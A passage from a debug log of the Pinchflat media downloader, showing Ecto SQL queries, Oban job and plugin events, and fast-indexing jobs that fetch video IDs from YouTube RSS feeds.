'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:33:56.957 [debug] QUERY OK source="tasks" db=0.1ms idle=9.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:33:56.957 [info] Sent 200 in 17ms 15:33:57.047 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.680 [info] {"source":"oban","duration":104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:34:27.048 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:57.049 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.681 [info] {"source":"oban","duration":131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:35:27.050 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:57.051 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.681 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:36:27.052 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:57.053 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.682 [info] {"source":"oban","duration":112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:37:18.626 [info] GET / 15:37:18.626 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:37:18.626 [debug] QUERY OK source="settings" db=0.1ms idle=1686.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:18.627 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1687.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:37:18.627 [debug] QUERY OK source="sources" db=0.0ms idle=1165.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:37:18.628 [debug] QUERY OK source="media_items" db=0.8ms idle=687.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:37:18.628 [debug] QUERY OK source="media_items" db=0.5ms idle=165.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:37:18.628 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:18.629 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:18.629 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:37:18.630 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:37:18.630 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:37:18.631 [debug] QUERY OK source="sources" db=0.0ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:37:18.633 [debug] QUERY OK source="media_items" db=1.6ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:37:18.636 [debug] QUERY OK source="media_items" db=2.9ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:37:18.636 [debug] QUERY OK source="tasks" db=0.1ms idle=6.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:37:18.637 [info] Sent 200 in 10ms 15:37:27.054 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:57.055 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.684 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:38:27.056 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:57.057 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.685 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:39:27.058 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:57.059 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.686 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:40:27.061 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:51.693 [info] {"args":{"id":2},"id":690,"meta":{},"system_time":1784907651693189345,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:40:51.695 [debug] QUERY OK source="sources" db=1.8ms idle=753.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:40:51.695 [debug] QUERY OK source="tasks" db=2.0ms idle=753.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:40:51.697 [debug] QUERY OK source="settings" db=2.1ms idle=755.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:51.697 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:40:51.697 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:51.698 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 15:40:51.698 [debug] QUERY OK source="sources" db=2.6ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:40:52.303 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:40:52.304 [debug] QUERY OK source="media_items" db=0.3ms idle=608.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:40:52.304 [debug] QUERY OK source="media_items" db=0.2ms idle=607.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:40:52.305 [debug] QUERY OK source="tasks" db=0.0ms idle=607.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [693, 2, ~U[2026-07-24 15:40:52Z], ~U[2026-07-24 15:40:52Z]] 15:40:52.305 [info] {"args":{"id":2},"id":690,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":612381,"event":"job:stop","queue_time":491579,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:40:52.305 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:40:57.062 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.687 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:41:05.710 [info] {"args":{"id":1},"id":691,"meta":{},"system_time":1784907665710112317,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:41:05.710 [debug] QUERY OK source="sources" db=0.1ms idle=1770.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:05.710 [debug] QUERY OK source="tasks" db=0.1ms idle=1770.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:41:05.710 [debug] QUERY OK source="settings" db=0.0ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:05.710 [debug] QUERY OK source="sources" db=0.1ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:05.710 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:05.711 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:05.711 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 15:41:05.913 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:41:05.913 [debug] QUERY OK source="media_items" db=0.1ms idle=203.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:41:05.916 [debug] QUERY OK source="media_items" db=2.3ms idle=203.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:41:05.917 [debug] QUERY OK source="tasks" db=0.0ms idle=205.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [694, 1, ~U[2026-07-24 15:41:05Z], ~U[2026-07-24 15:41:05Z]] 15:41:05.917 [info] {"args":{"id":1},"id":691,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":206977,"event":"job:stop","queue_time":580641,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:41:05.917 [debug] QUERY OK source="tasks" db=0.3ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:41:20.727 [info] {"args":{"id":3},"id":692,"meta":{},"system_time":1784907680727103684,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:41:20.727 [debug] QUERY OK source="sources" db=0.0ms idle=1787.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", 